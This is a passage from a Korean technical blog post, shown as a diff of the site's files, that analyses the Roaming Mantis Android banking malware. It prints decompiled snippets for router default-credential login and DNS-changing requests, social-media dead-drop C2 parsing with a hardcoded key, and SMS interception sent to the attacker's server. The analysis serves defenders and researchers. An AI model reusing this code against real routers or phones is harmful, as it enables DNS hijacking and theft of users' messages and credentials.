DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다.

+ +

공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다.

+ +
int[] v5 = new int[]{8080, 8888, 80, 7777, 8899};
+for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){
+                    v9_1 = a.b.d(v9, false);
+
+ +

코드를 보면, 8080, 8888, 80 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 /login/login.cgi 경로를 붙여 최종적으로 http://{DHCP_SERVER}:{PORT}/login/login.cgi 라는 URL을 완성합니다.

+ +

아래는 실행 시 실제로 보내진 HTTP Request Dump입니다.

+ +

12.png

+ +

URL의 경로에서 유추할 수 있듯, 공격자는 공유기 관리 페이지에 접근하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다.

+ +
Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1);
+ Matcher v10_2 = Pattern.compile("<script>.+\\.location=\"(.+?)\";.*//session_timeout", 2).matcher(v9_1.replace(" ", ""));
+
+ +

Response가 있다면 HTTP source code 에는 해당 DHCP 서버(공유기)의 정보가 있을 것입니다.

+ +

아래는 공유기 모델에 따라 HTTP 페이지에 적혀 있는 값입니다. 만약 일치하는 패턴이 있다면 공유기의 모델이 어떤 것인지 유추할 수 있습니다. 공격자는 이 패턴과 숫자를 매칭하여 저장합니다.

+ +

13.png

+ +

어떤 번호에 매칭되었느냐에 따라 다양한 method들이 호출되는데, 여기서 1번 i사의 공유기에 매칭 되었다고 가정해봅시다.

+ +
if(v2 == 1) {
+       this.a.e(v1.a);
+       return;
+       }
+
+if(v2 == 2) {
+      this.a.k(v1.a);
+      return;
+      }
+...
+
+ +

매칭된 숫자에 따라 실행되는 method들이 달라집니다. 1번에 매칭되었으니 a.e method로 이동해봅시다.

+ +

매칭된 i사의 공유기의 Default Credential과 token 검증 방식으로 인증을 수행하기 위해 Request Header 생성, 이를 Default URL로 전달하고 있습니다. 각 공유기마다 Header의 조합과 URL 주소가 다르며, 일반적인 공유기 사용자가 관리 페이지의 Credential을 바꾸는 일은 흔치 않기 때문에 공격자는 공유기를 쉽게 관리자로 로그인 할 수 있습니다.

+ +
void e(String arg14) {
+        String[] v1 = new String[2];
+        int v2 = 0;
+        v1[0] = "Authorization";
+        v1[1] = "Basic " + Base64.encodeToString("admin:admin".getBytes(), 0);
+        a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=main_frame&smenu=main_frame", v1);
+        String v4 = a.b.e(arg14 + "/cgi-bin/timepro.cgi?tmenu=netconf&smenu=wansetup", v1);
+        ArrayList v7 = new ArrayList();
+        int v8;
+        for(v8 = 1; v8 <= 4; ++v8) {
+            Matcher v9 = Pattern.compile("id=\"disabled_dynamicip" + v8 + ".*?value=\"(.*?)\"").matcher(v4);
+            if(v9.find()) {
+                v7.add(v9.group(1));
+            }
+        }
+
+
+ +

그리고 마지막 부분에 DNS 서버를 변경하려는 Request를 생성하는데, 해당 DNS 서버의 주소는 C2 서버에 값이 저장되어 있습니다.

+ +
// DNS 서버를 변경하는 Request 생성
+// v3의 값은 C2 서버에서 파싱
+a.b.f(arg14 + "/cgi-bin/timepro.cgi", v1, "tmenu=iframe&smenu=hiddenwansetup&act=save&ocolor=&wan=wan1&ifname=eth1&nopassword=0&wan_type=dynamic&allow_private=on&fdns_dynamic1=" + v3.c[0] + "&fdns_dynamic2=" + v3.c[1] + "&fdns_dynamic3=" + v3.c[2] + "&fdns_dynamic4=" + v3.c[3] + "&sdns_dynamic1=" + v3.d[0] + "&sdns_dynamic2=" + v3.d[1] + "&sdns_dynamic3=" + v3.d[2] + "&sdns_dynamic4=" + v3.d[3] + "&dns_dynamic_chk=on".getBytes());
+
+ +

이렇게 외부 서비스에 저장한 정보를 파싱해 올 수 있습니다. 사진에서는 활동 란에 적힌 부분이 바꾸고자 하는 동적 DNS 서버의 주소입니다.

+ +

1.png

+ +
+ +

C2 서버 - 공격자 서버 정보 파싱

+ +

바로 이전 섹션에서 타 서비스의 웹 사이트(C2 서버)에서 문구들을 수집하는 것을 보았습니다. 마찬가지로 공격자의 서버 정보도 C2 서버에 있습니다. 그렇다면 공격자 서버 정보를 찾아봅시다.

+ +

아래의 문자열은 외부 서비스와 많은 연관이 있는 것으로 추정되는 문자열입니다.

+ +
this.n = "chrome|UCP5sKzxDLR5yhO1IB4EqeEg@youtube|id728589530@vk|1s0n64k12_r9MglT5m9lr63M5F3e-xRyaMeYP7rdOTrA@GoogleDoc2";
+
+ +

현재 피싱 앱으로 사용하는 이름|youtube계정|vk계정|GoogleDoc계정 의 정보를 담고 있으며, 이 앱은 covid등 다양한 이름으로 배포되고 있었습니다. 따라서 현재 사용하는 앱 이름에 맞는 정보를 파싱하도록 동작하고 있습니다.

+ +

우선 vk(id728589530@vk) 계정이 어디서 사용되는지 확인해봅시다. 앱 이름이 debug가 아닐 경우에 수행되며, 최종적으로 id729071494 계정의 info페이지에 접근하게 됩니다.

+ +
// 1. info 페이지 접근
+String v3 = String.format("https://m.vk.com/%s?act=info", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. noopener 태그 사이의 문자열 매칭
+ Matcher v3_3 = Pattern.compile("noopener\">(.+?)</a>").matcher(v3_2);
+
+ +

페이지의 HTTP Code 중 noopener 태그 이후의 문자열을 확인하면 아래와 같이 공격자 서버를 확인할 수 있습니다.

+ +

14.png

+ +

이 서버는 결론적으로 DHCP서버의 Captcha 인증 중 Captcha 이미지를 보내는 서버입니다. 자세한 분석은 분량 상 생략하겠습니다.

+ +

다른 정보들은 어디에 쓰이는지 확인해봅시다.

+ +

아래는 기기의 환경이 한국일 경우 실행되는 코드로, 위의 계정 정보들 중 youtube(UCP5sKzxDLR5yhO1IB4EqeEg@youtube)계정 문자열을 파싱합니다.

+ +
// UCP5sKzxDLR5yhO1IB4EqeEg@youtube 문자열 파싱
+String v7 = Loader.access$getPreferences$p(this.b).getString("account", ((String)v2.get(v8)));
+
+ +

마찬가지로 해당 계정의 about 페이지에 접근한 후, oeewe 사이의 문자열을 파싱합니다.

+ +
// 1. about 페이지 접근
+String v3 = String.format("https://m.youtube.com/channel/%s/about", Arrays.copyOf(new Object[]{arg3}, 1));
+
+// 2. oeewe 사이의 문자열 매칭
+Matcher v3_3 = Pattern.compile("oeewe([\\w_-]+?)oeewe").matcher(v3_2);
+
+ +

접근하면 아래와 같이 oeewe … oeewe 문자열을 설명란에서 볼 수 있습니다.

+ +

15.png

+ +

해당 문자열은 DES(CBC) 복호화 과정을 거칩니다. 다행히 Key와 IV가 하드코딩 되어있어, 쉽게 복호화 할 수 있습니다.

+ +
// 1. Base64 Decoding
+byte[] v2 = Base64.decode(arg2, 8);
+
+// 2. Key, IV 하드코딩(같은 값)
+return new String(r.b(v2, "Ab5d1Q32"), d.a);
+
+ +

복호화를 진행하면 아래와 같이 공격자의 서버 주소를 확인할 수 있습니다. 이 주소는 파싱 후 ws:// 가 앞에 붙게 되므로 웹 소켓 주소로 사용되는 것을 추측할 수 있습니다.

+ +

16.png

+ +
+ +

SMS관련

+ +

아래는 기기가 기본 SMS 앱을 사용하는지 체크하는 부분입니다. 만약 기본 SMS앱을 악성 앱으로 바꾼다면, SMS 인증 우회는 물론이고, 메시지 내용 탈취, 발신, 수신이 자유로울 것입니다.

+ +
v9_1[5] = Boolean.valueOf(i.a(v5_6, Telephony.Sms.getDefaultSmsPackage(v7_4)));
+
+ +

17.png

+ +

공격자는 SMS 메시지가 수신될 때, 발신자의 주소와 timestamp내용을 HashMap으로 저장하며 수집합니다.

+ +
// 1. 수신된 메시지들 수집
+v0_6 = (Object[])arg27.getExtras().get("pdus");
+v12 = v0_6[v10];
+
+// 2. 수신된 메시지를 기반으로 새로운 SMS 데이터 생성
+SmsMessage v12_1 = SmsMessage.createFromPdu(((byte[])v12));
+
+// 3. 수신된 메시지의 내용 수집
+String v13 = v12_1.getDisplayMessageBody();
+
+// 4. 수신된 메시지의 발신 주소 수집
+String v14 = v12_1.getDisplayOriginatingAddress();
+
+// 5. 발신자 주소(key)-메시지의 timestamp(value) 로 저장
+v3_1.put(v14, Long.valueOf(v12_1.getTimestampMillis()));
+
+// 6. 발신자 주소(key)-메시지 내용(value)로 저장
+ v4_2.put(v14, v12_2.toString());
+
+ +

JSON-RPC로 onSms method와 수집한 내용을 공격자 서버로 전달합니다.

+ +
// s = "onSms"
+// 1. Json-RPC로 onSms mthod 실행
+Map map0 = b0.f(new b[]{c.a("jsonrpc", "2.0"), c.a("method", s)});
+
+// 2. 수집한 내용을 params로 전달
+map0.put("params", object0);
+
+ +

이후 공격자는 audio 상태를 무음으로 변경합니다. 만약 기기를 자주 살펴보지 않는 사용자라면, 본인도 모르는 사이에 문자가 발신/수신 될 수 있습니다.

+ +
Object v0_13 = v2.getSystemService("audio");
+if(v0_13 != null) {
+  ((AudioManager)v0_13).setRingerMode(0);
+
+ +

수신하는 경우의 로직도 존재합니다. 특이한 점은 수신한 문자의 앞 두글자에 따라 다른 동작을 한다는 것입니다. 마치 기계에 커맨드를 입력하는 것 같습니다.

+ +

맨 앞 두 글자에 따라 SharedPreference 객체에 key-value로 값을 저장하는 형태를 많이 보입니다.

+ +
// 1. 앞 글자가 FS인 경우, fs(key)-메시지내용(value) 추가
+if(boolean z2 = u.g(s12, "FS", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("fs", r.c(s13))).apply()
+
+// 2. 앞 글자가 SF인 경우, account(key)-메시지내용(value) 추가
+if(u.g(s12, "SF", false, 2, null)) {
+Loader.access$getPreferences$p(this.a).edit().putString("account", s14).apply();
+
+// 3. 앞 글자가 IF인 경우, 네트워크(socket등)연결 시도
+if(u.g(s12, "IF", false, 2, null)) {
+
+	// 3-1. 연결 되었을 경우
+	i.c(socket1, "peer.ws!!.socket");
+	s15 = "已连接:" + socket1.getRemoteSocketAddress().toString();
+
+	// 3-2. 연결되지 않았을 경우
+	s15 = "未连接," + s16 + ',' + (wifiManager0 == null ? false : wifiManager0.isWifiEnabled()) + ',' + this.a.j;
+
+// 4. 앞 긑자리 SI인 경우, addr_url/addr_encoding/addr_pattern/addr_accounts 추가
+if(boolean z3 = u.g(s12, "SI", false, 2, null)) {
+byte[] arr_b = Base64.decode(s13, 0);
+Loader.access$getPreferences$p(this.a).edit().putString("addr_url", ((String)list0.get(0))).putString("addr_encoding", ((String)list0.get(1))).putString("addr_pattern", ((String)list0.get(2))).putString("addr_accounts", ((String)list0.get(3))).apply();
+
+// 5. 앞 글자리 FM인 경우, Key(arr_b1)으로 AES 복호화 후 fsm(key)-메시지내용(value) 추가
+else if(u.g(s12, "FM", false, 2, null)) {
+byte[] arr_b1 = Base64.decode("CpMSc7iSk/dTcRO7aMe4qA==", 0);
+Loader.access$getPreferences$p(this.a).edit().putString("fsm", s18)
+
+ +

어떤 내용이 오가는지 정확한 내용은 몰라도, 어느 정도 유추는 가능하며 사용자의 기기로 하여금 악의적인 행위를 수행하도록 하는 것을 볼 수 있습니다.

+ +
+ +

⑦ 기타 생략 동작

+ +
    +
  • 앱 정보 수집 +
      +
    • 설치된 앱들의 정보를 수집합니다.
    • +
    +
  • +
  • 공인인증서 탈취 +
      +
    • /sdcard/NAKI 에 저장된 공인인증서를 탈취합니다.
    • +
    +
  • +
  • 배터리 최적화 무시 +
      +
    • 백그라운드에서도 안정적으로 실행되기 위해, 배터리 최적화를 무시하도록 합니다.
    • +
    +
  • +
  • wifi lock 설정 +
      +
    • 연결된 WIFI Lock을 Swi 라는 이름으로 생성, 백그라운드에서도 연락이 이어지게 끔 동작합니다.
    • +
    +
  • +
  • 사용자 주변 네트워크, 기기 정보 전송 +
      +
    • 사용자의 네트워크와 디바이스 정보를 SharedPreference에 저장합니다.
    • +
    +
  • +
  • 루팅 탐지 +
      +
    • 루팅 여부를 탐지합니다.
    • +
    +
  • +
  • 금융 앱 관련 +
      +
    • 금융 앱 대신 /sdcard/.upload2 하위의 악성 앱을 실행합니다.
    • +
    +
  • +
  • 사진 탈취 +
      +
    • /DCIM/Camera 에 위치한 사진 파일들을 탈취합니다.
    • +
    +
  • +
  • C2 서버로부터 command 수신 +
      +
    • 다양한 command를 전달받아 동작합니다.
    • +
    + +

    18.png

    +
  • +
+ +

이 외에도 모두 분석하면 꽤 많은 양의 기능을 식별할 수 있을 것으로 예상됩니다.

+ +
+ +

4. Outro

+ +

지금까지 Android Malware : Roaming Mantis를 분석해보았습니다. 타인에게 설명하기에 양도 많고 내용도 복잡해 글을 쓰면서도 고민이 많았습니다. 틀린 부분은 없는지 여러 번 확인도 하였지만, 혹시나 발견하신다면 제 미숙함으로 여겨주시면 감사하겠습니다. (틀린 부분에 대한 문의는 hrjeon@stealien.com으로 연락 바랍니다.)

+ +

Roaming Mantis는 매우 정성 들여 만든 Malware입니다. 그만큼 많은 곳에 복제되어서 이곳저곳 쓰일 것입니다. 혹시나 이 Malware를 마주하게 되신다면, 글을 읽으시는 분들도 한번 쯤 분석해보면 어떨까요?

+ +

더 많은 로직이 있음에도 다 담을 수 없어 아쉽기도 하고, 남은 로직은 후일에 천천히 풀어보도록 해보겠습니다.

+ +

글의 주제를 제공해주신 김도현 팀장님과 분석 실마리를 제공해주신 김동규 선임연구원님, 글 작성을 도와주신 임필호 선임연구원님을 비롯한 모의해킹팀 분들에게 감사합니다.

+ +

이 글이 많은 분들의 연구에 도움이 되길 바라며 글을 줄이겠습니다.

+ +
+
+
+ +
+
+
Hyerim Jeon
+
hrjeon@stealien.com
+
+
+
+
+ +
+
+
RECENT POST
+
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
+
+
+ +
Donggyu Kim
+
+
+
+ +
+ 버그헌팅: 취약점 체이닝의 중요성 +
+
+
No impact, No bug
+ +
+
+
+
+
+ +
+ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" new file mode 100644 index 0000000..f21b112 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/0.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" new file mode 100644 index 0000000..c92840c Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/1.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" new file mode 100644 index 0000000..19973fc Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/10.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" new file mode 100644 index 0000000..a6b7fc5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/11.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" new file mode 100644 index 0000000..935057a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/12.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" new file mode 100644 index 0000000..e3ebf25 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/13.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" new file mode 100644 index 0000000..410424a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/14.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" new file mode 100644 index 0000000..c108eba Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/15.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" new file mode 100644 index 0000000..f0f5dc6 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/16.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" new file mode 100644 index 0000000..6049c3e Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/17.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" new file mode 100644 index 0000000..5834cbd Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/18.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" new file mode 100644 index 0000000..3a913c5 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/19.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" new file mode 100644 index 0000000..9d52b32 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/2.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" new file mode 100644 index 0000000..fad5f29 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/3.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" new file mode 100644 index 0000000..d8cf558 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/4.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" new file mode 100644 index 0000000..171c859 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/5.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" new file mode 100644 index 0000000..026c267 Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/6.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" new file mode 100644 index 0000000..f69200f Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/7.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" new file mode 100644 index 0000000..5286ade Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/8.png" differ diff --git "a/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" new file mode 100644 index 0000000..0d4121a Binary files /dev/null and "b/docs/assets/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231/9.png" differ diff --git a/docs/categories/R&D.html b/docs/categories/R&D.html index be9ca03..a4ccdb4 100644 --- a/docs/categories/R&D.html +++ b/docs/categories/R&D.html @@ -78,6 +78,30 @@
# R&D
+
+
+ +
Hyerim Jeon
+
+
+
+ +
+ Android Malware : 사마귀 해부학 +
+
+
about Roaming Mantis
+ +
+
diff --git "a/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" index 4ae8f2e..d20a20b 100644 --- "a/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" +++ "b/docs/dev/2021/07/13/Slackbot\354\235\204-\355\231\234\354\232\251\355\225\234-ERP-\354\213\234\354\212\244\355\205\234-\352\265\254\354\266\225.html" @@ -412,22 +412,22 @@

후기

-
Donggyu Kim
+
Hyerim Jeon
- +
- 버그헌팅: 취약점 체이닝의 중요성 + Android Malware : 사마귀 해부학
-
No impact, No bug
+
about Roaming Mantis
@@ -435,23 +435,23 @@

후기

- -
Seokchan Yoon
+ +
Donggyu Kim
- +
- Django, CVE-2023-36053 Potential ReDoS in EmailValidator / URLValidator + 버그헌팅: 취약점 체이닝의 중요성
-
Being Django Security Contributor
+
No impact, No bug
diff --git a/docs/feed.xml b/docs/feed.xml index 9be584f..9a8f040 100644 --- a/docs/feed.xml +++ b/docs/feed.xml @@ -1,4 +1,609 @@ -Jekyll2023-11-15T12:43:52+09:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.버그헌팅: 취약점 체이닝의 중요성2023-07-31T20:00:00+09:002023-07-31T20:00:00+09:00http://ufo.stealien.com/2023-07-31/bughunting-vulnerability-chaining-ko<h1 id="버그헌팅-취약점-체이닝의-중요성">버그헌팅: 취약점 체이닝의 중요성</h1> +Jekyll2023-11-15T12:46:48+09:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.Android Malware : 사마귀 해부학2023-11-15T10:00:00+09:002023-11-15T10:00:00+09:00http://ufo.stealien.com/2023-11-15/Android-malware-%EC%82%AC%EB%A7%88%EA%B7%80-%ED%95%B4%EB%B6%80%ED%95%99-ko<h1 id="android-malware--사마귀-해부학">Android Malware : 사마귀 해부학</h1> + +<p><br /></p> + +<p><strong>목차</strong><br /> +—————————————</p> +<ol> + <li><strong>Intro</strong></li> + <li><strong>Roaming Mantis?</strong></li> + <li><strong>Analysis</strong> + <ol> + <li><strong>Download &amp; Install</strong></li> + <li><strong>Dynamic Dex Loading</strong></li> + <li><strong>Behavior Analysis</strong></li> + </ol> + </li> + <li><strong>Outro</strong></li> +</ol> + +<p><br /></p> + +<h1 id="1-intro">1. Intro</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/19.png" alt="19.png" /></p> + +<p>이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.</p> + +<p>이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.</p> + +<hr /> + +<h1 id="2-roaming-mantis">2. Roaming Mantis?</h1> + +<p>분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/0.png" alt="0.png" /></p> + +<p>Android Malware인 <strong>Roaming Mantis</strong>였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 <strong>취약한 공용 라우터를 장악하여 DNS 서버를 변조</strong>(<strong>DNS Hijacking</strong>)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.</p> + +<p>가령, <code class="language-plaintext highlighter-rouge">google.com</code>으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 사용자를 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.</p> + +<p>이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.</p> + +<p>또한 <strong>Wroba계열의 Mobile banking Trojan</strong>을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.</p> + +<p>출처 : <a href="https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers">https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers</a></p> + +<hr /> + +<h1 id="3-analysis">3. Analysis</h1> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/2.png" alt="2.png" /></p> + +<p>분석 Flow Chart입니다.</p> + +<p>각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.</p> + +<h2 id="1-download--install">1) Download &amp; Install</h2> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/3.png" alt="3.png" /></p> + +<p>문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.</p> + +<p>Download를 진행하면 <code class="language-plaintext highlighter-rouge">chrome.apk</code> 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.</p> + +<p><img src="/assets/2023-11-15-Android-malware-사마귀-해부학/4.png" 